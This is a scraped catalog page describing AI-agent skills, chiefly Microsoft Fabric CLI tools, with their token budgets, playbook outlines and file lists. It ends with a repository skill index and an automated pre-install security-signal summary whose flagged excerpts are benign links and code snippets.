2,681 tokensWhen the skill is activated
Reference documents
35,078 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Mode selection
- Terminal write — the step you must not skip
- Shared essentials (all modes)
- Rules
- Examples
Files
SKILL.mdcore11,652 bytesSKILL.mdcore11,652 bytesSKILL.mdcore11,652 bytesSKILL.mdcore11,652 bytesSKILL.mdcore11,652 bytesSKILL.mdcore11,652 bytesSKILL.mdcore11,652 bytesSKILL.mdcore11,652 bytesSKILL.mdcore11,652 bytesreferences/authoring.mddoc27,456 bytesreferences/authoring/action-types.mddoc20,348 bytesreferences/authoring/dtb-source.mddoc7,831 bytesreferences/authoring/eventstream-source.mddoc5,053 bytesreferences/authoring/kql-source.mddoc8,963 bytesreferences/authoring/powerbi-source.mddoc17,214 bytesreferences/authoring/real-time-hub-source.mddoc4,104 bytesreferences/authoring/rule-conditions.mddoc24,347 bytesreferences/authoring/source-types.mddoc10,769 bytesreferences/consumption.mddoc17,666 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazmon-mirroredcatalogs-operations-cli
When your agent uses it
Onboard Azure Monitor / Application Insights observability data into Microsoft Fabric and guide business-impact insights by correlating telemetry with business data, Eventhouse external delta tables, verified schemas, an optional Real-Time (KQL) dashboard, and opt-in Operations Agent instructions. Triggers: onboard Azure Monitor into Fabric, correlate App Insights telemetry with business data, build a Real-Time KQL dashboard over telemetry, build an Operations Agent for business-impact alerting, determine if availability or latency impacted bookings orders or revenue, connect a Log Analytics workspace to Fabric.
What it loads into context
Frontmatter
124 tokensAlways available to the agent
SKILL.md
12,084 tokensWhen the skill is activated
Reference documents
20,657 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisite Knowledge
- Trigger phrases
- When to use this skill (and related skills)
- Reference index
- Secrecy & scope guardrails
- EXECUTION CAPABILITY POLICY
- PORTAL GUIDANCE POLICY
- STRICT STAGED WORKFLOW CONTROLLER (ENFORCED)
- Stage 1 — Intent and scope
- Stage 2 — Log Analytics workspace selection
- Stage 3 — Fabric workspace selection
- Stage 4 — Identity selection and validation
- Stage 5 — Connection resolution
- Stage 6 — AzMon / Mirrored Catalog item creation or reuse
- Stage 7 — Business Insight Capture (optional here; deferrable)
- Stage 8 — Azure Monitor table discovery
- Stage 9 — Eventhouse / KQL database target selection
- Stage 10 — External Delta table registration planning
- Stage 11 — External Delta table registration
- Stage 12 — Schema and data verification (REQUIRED before correlation)
- Stages 13–17 — Business-oriented analysis (defined in the reference)
- Troubleshooting (user-facing)
- Must / Prefer / Avoid
- Examples
Files
SKILL.mdcore57,035 bytesSKILL.mdcore57,035 bytesSKILL.mdcore57,035 bytesSKILL.mdcore57,035 bytesSKILL.mdcore57,035 bytesSKILL.mdcore57,035 bytesSKILL.mdcore57,035 bytesSKILL.mdcore57,035 bytesSKILL.mdcore57,035 bytesSKILL.mdcore57,035 bytesreferences/app-insights-dynamic-fields-reference.mddoc5,939 bytesreferences/azmon-fabric-api-reference.mddoc15,862 bytesreferences/business-analysis-workflow.mddoc18,343 bytesreferences/dashboard-reference.mddoc6,934 bytesreferences/eventhouse-shortcuts-reference.mddoc8,999 bytesreferences/mirrored-catalog-reference.mddoc5,642 bytesreferences/oauth-connection-reference.mddoc2,233 bytesreferences/operations-agent-reference.mddoc11,208 bytesreferences/telemetry-table-reference.mddoc9,984 bytesreferences/workspace-discovery-policy-reference.mddoc3,214 bytesreferences/workspace-identity-connection-reference.mddoc4,678 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdatabricks-migration
When your agent uses it
Port Databricks notebooks and jobs to Microsoft Fabric. Provides an exhaustive dbutils to notebookutils substitution table: fs operations (runtime mounts or OneLake Shortcuts), secret scope to Key Vault URL conversion, notebook run and exit, widget replacement with parameter-tagged cells, and library install replacement with Fabric Environments. Covers Unity Catalog three-level namespace reduction to Lakehouse two-level schemas, DBFS path conversion to OneLake, Databricks Jobs to Spark Job Definitions, MLflow tracking URI removal, and Photon to Native Execution Engine substitution. Use when the user wants to: (1) replace dbutils with notebookutils, (2) collapse Unity Catalog namespaces to Lakehouse schemas, (3) convert Databricks Jobs or Delta Live Tables. Triggers: "migrate from databricks", "databricks to fabric", "dbutils to notebookutils", "dbutils fabric", "unity catalog migration", "dbfs to onelake", "databricks notebook migration", "delta live tables fabric", "photon native execution".
What it loads into context
Frontmatter
240 tokensAlways available to the agent
SKILL.md
4,563 tokensWhen the skill is activated
Reference documents
32,235 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisite Knowledge
- Table of Contents
- Migration Workload Map
- `dbutils` → `notebookutils` Quick Reference
- Cluster Config → Fabric Spark Pools
- Databricks Jobs → Spark Job Definitions
- Delta Sharing → Fabric External Data Sharing and OneLake Shortcuts
- MLflow → Fabric ML Experiments
- Must / Prefer / Avoid
- Examples
Files
../../common/COMMON-CLI.mddoc36,342 bytes../../common/COMMON-CORE.mddoc19,583 bytes../../common/SPARK-AUTHORING-CORE.mddoc15,862 bytesSKILL.mdcore19,418 bytesSKILL.mdcore19,418 bytesSKILL.mdcore19,418 bytesSKILL.mdcore19,418 bytesSKILL.mdcore19,418 bytesSKILL.mdcore19,418 bytesSKILL.mdcore19,418 bytesresources/catalog-migration.mddoc6,579 bytesresources/code-patterns.mddoc6,897 bytesresources/dbutils-to-notebookutils.mddoc21,721 bytes../spark-cli/SKILL.mddoc10,529 bytes../sqldw-cli/SKILL.mddoc12,025 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdataflows-cli
When your agent uses it
Author, inspect and upgrade Fabric Dataflow Gen2: connection and output setup, M preview via executeQuery, saved definition and refresh-history inspection, and Gen1-to-Gen2 save-as upgrades. Pipeline JSON is pipeline-migration. Triggers:executeQuery preview,updateDefinition,getDefinition,dataflow refresh history,saveAsNativeArtifact,Gen1 Gen2 readiness
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
2,214 tokensWhen the skill is activated
Reference documents
105,341 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Mode selection
- Terminal write -- the step you must not skip
- Shared essentials (all modes)
- Rules
- Examples
Scripts executed separately
references/authoring/charts/bar_chart.pyreferences/authoring/charts/line_chart.pyreferences/consumption/charts/bar_chart.pyreferences/consumption/charts/line_chart.py
Files
SKILL.mdcore9,669 bytesSKILL.mdcore9,669 bytesSKILL.mdcore9,669 bytesreferences/authoring.mddoc56,661 bytesreferences/authoring/authoring-cli-quickref.mddoc23,953 bytesreferences/authoring/authoring-script-templates.mddoc81,581 bytesreferences/authoring/charts/bar_chart.pyruns3,949 bytesreferences/authoring/charts/line_chart.pyruns3,624 bytesreferences/authoring/connection-management.mddoc40,768 bytesreferences/authoring/connectors.mddoc15,055 bytesreferences/authoring/m-language.mddoc9,953 bytesreferences/authoring/mashup-preview.mddoc28,938 bytesreferences/authoring/output-destinations.mddoc40,559 bytesreferences/consumption.mddoc29,427 bytesreferences/consumption/chart-visualization.mddoc2,632 bytesreferences/consumption/charts/bar_chart.pyruns3,949 bytesreferences/consumption/charts/line_chart.pyruns3,624 bytesreferences/consumption/consumption-cli-quickref.mddoc6,810 bytesreferences/consumption/discovery-queries.mddoc7,156 bytesreferences/consumption/script-templates.mddoc17,471 bytesreferences/upgrade.mddoc21,471 bytesreferences/upgrade/risk-assessment-guide.mddoc11,509 bytesreferences/upgrade/upgrade-cli-quickref.mddoc8,967 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdeployment-pipelines-authoring-cli
When your agent uses it
Automate Microsoft Fabric deployment pipelines (ALM promotion across dev/test/prod stages) via the Fabric core REST API from agentic CLI environments. Use when the user wants to: (1) create or update a deployment pipeline and its stages, (2) assign or unassign a workspace to a stage, (3) deploy content from one stage to the next (forward or backward) including selective item deploys, (4) track a deployment as a long-running operation, (5) manage deployment pipeline role assignments. Triggers: "create deployment pipeline", "deploy to test stage", "promote workspace to production", "assign workspace to deployment pipeline stage", "deploy stage content", "check deployment status", "list deployment pipeline operations", "Fabric ALM promote dev to prod", "what permissions/roles are required to assign a workspace or deploy stage content".
What it loads into context
Frontmatter
200 tokensAlways available to the agent
SKILL.md
6,495 tokensWhen the skill is activated
Reference documents
1,034 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisite Knowledge
- Concepts
- Must/Prefer/Avoid
- REST API Reference
- Required permissions
- Examples
Scripts executed separately
references/scripts/diff_item_definitions.py
Files
SKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesSKILL.mdcore27,101 bytesreferences/scripts/diff_item_definitions.pyruns14,477 bytesreferences/supported-item-types.mddoc4,364 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHube2e-fabric-cost-estimation
When your agent uses it
Estimate Microsoft Fabric capacity costs before migration by analyzing existing workload profiles (Spark, SQL, Power BI, Real-Time Intelligence) and recommending optimal SKU sizing, billing modes, and Reserved Instance strategies. Use when the user wants to: (1) estimate Fabric costs for a migration, (2) size a Fabric capacity SKU, (3) compare Fabric pricing tiers, (4) calculate storage/compute/network costs, (5) recommend Reserved vs. Pay-As-You-Go vs. Autoscale billing. Trigger phrases are scoped to Fabric capacity cost/sizing to avoid over-routing on generic cost, migration, or connection questions. Triggers: "estimate fabric cost", "fabric capacity sizing", "fabric sku recommendation", "fabric cost estimate", "fabric reserved instance", "fabric capacity pay-as-you-go", "fabric autoscale billing".
What it loads into context
Frontmatter
193 tokensAlways available to the agent
SKILL.md
10,645 tokensWhen the skill is activated
Reference documents
20,363 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisite Knowledge
- Table of Contents
- Fabric Billing Model
- Capacity Unit Reference
- Workload Cost Estimation
- Storage Pricing
- Network Egress Pricing
- Billing Mode Strategy
- SKU Sizing Decision Tree
- Migration Cost Worksheet
- Must / Prefer / Avoid
- Examples
Files
../../common/COMMON-CLI.mddoc36,342 bytes../../common/COMMON-CORE.mddoc19,583 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesSKILL.mdcore42,927 bytesresources/cost-estimation-worksheet.mddoc4,379 bytesresources/pricing-api-reference.mddoc18,963 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHube2e-medallion-architecture
When your agent uses it
Plan and implement end-to-end Microsoft Fabric data platforms and Medallion Architecture (Bronze/Silver/Gold) lakehouse patterns using PySpark, Delta Lake, Lakehouse/Warehouse items, Fabric Pipelines, and semantic-model handoff. Use for multi-layer workspaces, ingestion-to-analytics pipelines, Bronze-to-Silver-to-Gold notebook orchestration, layer-specific Fabric Spark tuning, and Materialized Lake View versus notebook decisions for Silver and Gold. For natural-language questions over existing Power BI report data, use `fabriciq`. Triggers: "medallion architecture", "bronze silver gold", "lakehouse layers", "e2e data pipeline", "end-to-end Fabric data platform", "medallion Spark tuning", "Silver Gold MLV or notebooks".
What it loads into context
Frontmatter
179 tokensAlways available to the agent
SKILL.md
6,077 tokensWhen the skill is activated
Reference documents
45,851 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisite Knowledge
- Architecture Overview
- Must/Prefer/Avoid
- Workspace Setup Guidance
- Bronze Layer — Ingestion Patterns
- Silver Layer — Transformation Patterns
- Gold Layer — Aggregation Patterns
- End-to-End Execution Flow
- Gold Layer → Power BI Consumption
- Pipeline Orchestration
- Environment Optimization
- Examples
Files
../../common/COMMON-CLI.mddoc36,342 bytes../../common/COMMON-CORE.mddoc19,583 bytes../../common/SPARK-AUTHORING-CORE.mddoc15,862 bytesSKILL.mdcore27,021 bytesSKILL.mdcore27,021 bytesSKILL.mdcore27,021 bytesSKILL.mdcore27,021 bytesSKILL.mdcore27,021 bytesSKILL.mdcore27,021 bytesSKILL.mdcore27,021 bytesSKILL.mdcore27,021 bytesSKILL.mdcore27,021 bytesSKILL.mdcore27,021 bytes../semantic-model-authoring/SKILL.mddoc41,192 bytes../spark-cli/references/authoring/resources/data-engineering-patterns.mddoc24,919 bytes../spark-cli/references/authoring/resources/infrastructure-orchestration.mddoc10,693 bytes../spark-cli/references/authoring/resources/materialized-lake-view-patterns.mddoc20,548 bytes../spark-cli/references/authoring/resources/mlv-incremental-refresh-patterns.mddoc11,720 bytes../spark-cli/references/authoring/resources/notebook-api-operations.mddoc14,521 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubeventhouse-cli
When your agent uses it
Author and query Fabric Eventhouse / KQL databases: create tables, functions, policies, materialized views and ingestion, or run read-only KQL for real-time and time-series analytics. Ingestion topology is eventstream-cli. Triggers:kql query,query eventhouse,create kql table,kql ingestion,kql retention policy,materialized view kql
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
1,689 tokensWhen the skill is activated
Reference documents
14,531 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Mode selection
- Terminal write -- the step you must not skip
- Shared essentials (all modes)
- Rules
- Examples
Files
SKILL.mdcore7,144 bytesreferences/authoring.mddoc24,446 bytesreferences/authoring/authoring-script-templates.mddoc9,439 bytesreferences/consumption.mddoc17,465 bytesreferences/consumption/discovery-queries.mddoc3,486 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubeventschemaset-cli
When your agent uses it
Author and inspect Microsoft Fabric Event Schema Sets (centralized catalogs of event types and message schemas) via the Fabric Items REST API with az rest: create, rename, override the definition or delete one; or list, inspect and base64-decode definitions read-only. Not the Eventstream ingestion pipeline (eventstream-*) nor Eventhouse/KQL (eventhouse-cli). Triggers:create event schema set,update event schema set definition,add event type to an event schema set,delete event schema set,list event schema sets,inspect event schema set,decode event schema set definition
What it loads into context
Frontmatter
126 tokensAlways available to the agent
SKILL.md
2,088 tokensWhen the skill is activated
Reference documents
10,107 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Mode selection
- Terminal write -- the step you must not skip
- Shared essentials (all modes)
- Rules
- Examples
Files
SKILL.mdcore9,126 bytesreferences/authoring.mddoc21,187 bytesreferences/consumption.mddoc20,544 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubeventstream-cli
When your agent uses it
Build and inspect Fabric Eventstream topologies: sources, operators, destinations and stream routing, plus read-only topology, retention, throughput and connection-string inspection. Querying landed events uses eventhouse-cli consumption mode. Triggers:create eventstream,add filter operator,CDC source,inspect eventstream topology,eventstream retention,list eventstreams
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
1,691 tokensWhen the skill is activated
Reference documents
14,238 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Mode selection
- Terminal write -- the step you must not skip
- Shared essentials (all modes)
- Rules
- Examples
Files
SKILL.mdcore7,671 bytesSKILL.mdcore7,671 bytesSKILL.mdcore7,671 bytesSKILL.mdcore7,671 bytesSKILL.mdcore7,671 bytesreferences/authoring.mddoc29,923 bytesreferences/consumption.mddoc25,622 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfabriciq
When your agent uses it
Answer natural-language business questions over existing Power BI reports and semantic models through the FabricIQ MCP endpoint. Orchestrates artifact discovery, schema inspection, entity resolution, DAX generation, and query execution to return plain-language answers. Use when the user asks what, which, compare, rank, explain, or summarize questions about the data in a Power BI report or semantic model, including asking for a DAX query to be run against a named model. Triggers: "ask power bi", "PBI question", "discover my Power BI report", "report data", "dashboard data", "what are the top", "show me the power bi data", "which products sold", "compare sales in report", "which customers churned", "ask the Power BI report", "query a Power BI semantic model", "run a DAX query against a semantic model".
What it loads into context
Frontmatter
191 tokensAlways available to the agent
SKILL.md
6,050 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Table of Contents
- Available Tools
- Must/Prefer/Avoid
- Workflow
- Verified Answers
- JMESPath Query Examples
- DAX Rules
- Examples
Files
SKILL.mdcore27,046 bytesSKILL.mdcore27,046 bytesSKILL.mdcore27,046 bytesSKILL.mdcore27,046 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubSkills included
- ears-validate
- iac-review
- postgresql-code-review
- skill-creator
- acreadiness-assess
- acreadiness-generate-instructions
- acreadiness-policy
- agent-governance
- agent-owasp-compliance
- agent-supply-chain
- audit-integrity
- ai-team-orchestration
- codeql
- data-breach-blast-radius
- gdpr-compliant
- secret-scanning
- security-review
- threat-model-analyst
- tm7-threat-model
- doc-and-modernize
- arize-ai-provider-integration
- arize-annotation
- arize-dataset
- arize-evaluator
- arize-experiment
- arize-instrumentation
- arize-link
- arize-prompt-optimization
- arize-trace
- automate-this
- suggest-awesome-github-copilot-agents
- suggest-awesome-github-copilot-instructions
- suggest-awesome-github-copilot-skills
- aws-cost-optimize
- aws-resource-health-diagnose
- aws-resource-query
- aws-well-architected-review
- agentic-eval
- apim-ai-gateway
- azure-agentic-architecture-patterns
- azure-ai
- azure-api-center
- azure-managed-redis-cache
- entra-agent-user
- foundry-agent-sync
- foundry-hosted-agent-copilotkit
- microsoft-agent-framework
- semantic-kernel
- azure-app-onboard
- azure-app-onboard-prereq
- azure-deploy
- azure-prepare
- azure-scaffold-wizard
- azure-validate
- az-cost-optimize
- azure-cli
- azure-compute
- azure-enterprise-infra-planner
- azure-infrastructure
- azure-pricing
- azure-resource-health-diagnose
- azure-resource-lookup
- azure-resource-visualizer
- azure-terraform-cli
- azure-terraform-terratest-module-testing
- import-infrastructure-as-code
- azure-kusto
- azure-kusto-graph
- azure-kusto-irql
- azure-kusto-irql-graph
- azure-messaging
- azure-postgre-database-management
- azure-storage
- azure-architecture-autopilot
- azure-container-registry-cli
- azure-deployment-preflight
- azure-developer-cli
- azure-devops-cli
- azure-static-web-apps
- cloud-design-patterns
- cosmosdb-datamodeling
- update-avm-modules-in-bicep
- azure-compliance
- azure-entra-agent-id
- azure-entra-app-registration
- azure-quotas
- azure-role-selector
- azure-well-architected-review
- azure-airunway-aks-setup
- azure-argocd-cli
- azure-helm-cli
- azure-kubectl-cli
- azure-kubernetes
- azure-kubernetes-app-deploy
- azure-kubernetes-automatic-readiness
- azure-cloud-migrate
- azure-upgrade
- appinsights-instrumentation
- azure-cost
- azure-diagnostics
- azure-observability-stack
- azure-reliability
- app-frontend-system-migration
- app-frontend-system-migration
- backstage-ai-catalog
- backstage-app-bootstrap
- backstage-app-configuration
- backstage-authentication
- backstage-catalog
- backstage-catalog-db-performance
- backstage-core-contribution
- backstage-external-integrations
- backstage-framework
- backstage-kubernetes
- backstage-mcp-actions
- backstage-notifications
- backstage-operations
- backstage-permissions
- backstage-plugin-builder
- backstage-search
- backstage-software-templates
- backstage-techdocs
- backstage-upgrade
- backstage-workspace-kit
- mui-to-bui-migration
- mui-to-bui-migration
- onboard-to-openapi-server
- onboard-to-openapi-server
- plugin-analytics-instrumentation
- plugin-analytics-instrumentation
- plugin-full-frontend-system-migration
- plugin-full-frontend-system-migration
- plugin-new-frontend-system-support
- plugin-new-frontend-system-support
- app-frontend-system-migration
- app-frontend-system-migration
- backstage-ai
- backstage-ai-catalog
- backstage-app
- backstage-app-bootstrap
- backstage-app-configuration
- backstage-auth
- backstage-authentication
- backstage-catalog
- backstage-catalog-db-performance
- backstage-core-contribution
- backstage-external-integrations
- backstage-framework
- backstage-integrations
- backstage-kubernetes
- backstage-mcp-actions
- backstage-notifications
- backstage-operations
- backstage-permissions
- backstage-plugin-builder
- backstage-plugins
- backstage-search
- backstage-software-templates
- backstage-techdocs
- backstage-upgrade
- backstage-workspace-kit
- mui-to-bui-migration
- mui-to-bui-migration
- onboard-to-openapi-server
- onboard-to-openapi-server
- plugin-analytics-instrumentation
- plugin-analytics-instrumentation
- plugin-full-frontend-system-migration
- plugin-full-frontend-system-migration
- plugin-new-frontend-system-support
- plugin-new-frontend-system-support
- brag-sheet
- daily-prep
- email-drafter
- exam-ready
- linkedin-post-formatter
- meeting-minutes
- performance-review-writer
- technical-job-search
- remember-interactive-programming
- content-management-systems
- markdown-to-html
- quasi-coder
- dotnet-design-pattern-review
- editorconfig
- em-dash
- quality-playbook
- refactor
- refactor-method-complexity-reduce
- review-and-refactor
- ruff-recursive-fix
- tiny-stepping
- acquire-codebase-knowledge
- architecture-blueprint-generator
- code-exemplars-blueprint-generator
- copilot-instructions-blueprint-generator
- folder-structure-blueprint-generator
- project-workflow-analysis-blueprint-generator
- readme-blueprint-generator
- repo-story-time
- technology-stack-blueprint-generator
- context-map
- refactor-plan
- what-context-needed
- integrate-context-matic
- onboard-context-matic
- convert-excel-to-md
- convert-pdf-to-md
- convert-word-to-md
- agent-skill-stack
- ai-ready
- boost-prompt
- cli-mastery
- copilot-cli-quickstart
- copilot-primitive-authoring
- copilot-spaces
- copilot-usage-metrics
- finalize-agent-prompt
- generate-custom-instructions-from-codebase
- github-copilot-starter
- harness-engineering
- lsp-setup
- memory-merger
- microsoft-skill-creator
- mini-context-graph
- prompt-optimizer
- remember
- skill-creator
- steno-mode
- vardoger-analyze
- copilot-plugin-authoring
- copilot-sdk
- adobe-illustrator-scripting
- freecad-scripts
- game-engine
- image-manipulation-image-magick
- latchshot-page-capture
- nano-banana-pro-openrouter
- pdftk-server
- resemble-detect
- rhino3d-scripts
- slang-shader-engineer
- transloadit-media-processing
- aspnet-minimal-api-openapi
- csharp-async
- csharp-mstest
- csharp-nunit
- csharp-tunit
- csharp-xunit
- dotnet-best-practices
- dotnet-upgrade
- fluentui-blazor
- bigquery-pipeline-audit
- datanalysis-credit-risk
- pinecone-rag
- snowflake-semanticview
- sql-server-table-reconciliation
- ssma-console
- postgresql-code-review
- postgresql-optimization
- sql-code-review
- sql-optimization
- dataverse-python-advanced-patterns
- dataverse-python-production-code
- dataverse-python-quickstart
- dataverse-python-usecase-builder
- azure-resource-health-diagnose
- multi-stage-dockerfile
- draw-io-diagram-generator
- efcore-d2-db-diagram
- excalidraw-diagram-generator
- plantuml-ascii
- dotnet-timezone
- msstore-cli
- mvvm-toolkit
- mvvm-toolkit-di
- mvvm-toolkit-messenger
- nuget-manager
- system-commandline-cli
- winmd-api-search
- winui3-migration-guide
- doublecheck
- daily-focus-board
- from-the-other-side-anitta
- from-the-other-side-quinn
- from-the-other-side-vega
- from-the-other-side-wiggins
- eyeball
- fabric-agentic-platform
- activator-cli
- azmon-mirroredcatalogs-operations-cli
- databricks-migration
- dataflows-cli
- deployment-pipelines-authoring-cli
- e2e-fabric-cost-estimation
- e2e-medallion-architecture
- eventhouse-cli
- eventschemaset-cli
- eventstream-cli
- fabriciq
Showing 300 of 2,606 skills. See GitHub for the complete repository.
Repository facts
- License
- No license detected
- Created
- Aug 17, 2026
- Last pushed
- Sep 18, 2026
- Forks
- 0
- Open issues
- 0
- Project activity
- Active
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 7, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 8,371 notes
.claude-plugin/marketplace.json:1Analysis incomplete: Referenced executable target unavailable; not analyzed.claude-plugin/marketplace.json:1Analysis incomplete: Referenced executable target unavailable; not analyzed.claude-plugin/marketplace.json:1Analysis incomplete: Referenced executable target unavailable; not analyzed.claude-plugin/marketplace.json:1Analysis incomplete: Referenced executable target unavailable; not analyzed.claude-plugin/marketplace.json:1Analysis incomplete: Referenced executable target unavailable; not analyzed.claude-plugin/marketplace.json:1Analysis incomplete: Referenced executable target unavailable; not analyzed.claude-plugin/marketplace.json:1Analysis incomplete: Referenced executable target unavailable; not analyzed.claude-plugin/marketplace.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/application-security/.claude-plugin/plugin.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/backstage-expert/copilot-components/hooks/backstage-safety/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/backstage-expert/copilot-components/hooks/backstage-safety/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/backstage-expert/hooks/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/copilot-plugin-development/.claude-plugin/plugin.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/diagram-authoring/.claude-plugin/plugin.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/eyeball/.claude-plugin/plugin.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/eyeball/.claude-plugin/plugin.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedharness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- 27 broad permissionsin 27 files: azure-agentic-architecture-patterns/SKILL.md:1 azure-ai/SKILL.md:1 azure-role-selector/SKILL.md:1 and 24 more
- 517 dangerous shell commandsin 277 files: dataflows-cli/references/authoring/authoring-script-templates.md:201 dataflows-cli/references/authoring/authoring-script-templates.md:201 dataflows-cli/references/authoring.md:155 and 274 more
- 36,713 network referencesin 4,319 files: fabric-agentic-platform/references/common/COMMON-CLI.md:24 fabric-agentic-platform/references/common/COMMON-CLI.md:24 batch-files/references/windows-commands.md:3 and 4,316 more
- 1,186 obfuscation signalsin 49 files: azure-architecture-autopilot/scripts/icons.py:7 azure-architecture-autopilot/scripts/icons.py:7 azure-architecture-autopilot/scripts/icons.py:7 and 46 more
- 74 instruction override signalsin 14 files: harness/github-copilot/scripts/audit_primitive_capabilities.py:313 webmcpify/references/inventory.md:45 webmcpify/references/inventory.md:45 and 11 more
- 1,339 executable scriptsin 792 files: harness/github-copilot/scripts/audit_plugins.py:1 harness/github-copilot/scripts/audit_primitive_content.py:1 harness/github-copilot/scripts/generate_catalog.py:1 and 789 more
- 2,584 references to secretsin 770 files: fabric-agentic-platform/references/common/COMMON-CLI.md:84 fabric-agentic-platform/references/common/COMMON-CLI.md:84 python-pypi-package-builder/references/architecture-patterns.md:176 and 767 more
- No requests to vote in Hot
Show all 42,440 signals by file
docs/references/iac-review/SKILL.md
- Network accessline 86
- [Terraform Style Guide](https://developer.hashicorp.com/terraform/language/style) - Network accessline 87
- [Azure Verified Modules](https://azure.github.io/Azure-Verified-Modules/) - Network accessline 88
- [tfsec](https://aquasecurity.github.io/tfsec/), [checkov](https://www.checkov.io/)
docs/templates/skill-creator/assets/eval_review.html
- Dangerous shell operationline 81
const rm = document.createElement("button");
docs/templates/skill-creator/eval-viewer/generate_review.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 99
const a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='feedback.json';a.click(); }else{ fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) - Network accessline 100
}else{ fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) .then(()=>alert('Feedback saved. You can return to the assistant.')) - Network accessline 101
fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) - Network accessline 198
with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd: url = f"http://127.0.0.1:{port}/" - Network accessline 199
url = f"http://127.0.0.1:{port}/"
docs/templates/skill-creator/scripts/validate_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/accessibility-compliance/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/accessibility-kanban/.claude-plugin/plugin.json
harness/claude-code/plugins/acreadiness-cockpit/.claude-plugin/plugin.json
harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-assess/report-template.html
- Network accessline 222
<footer> Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a> - Network accessline 223
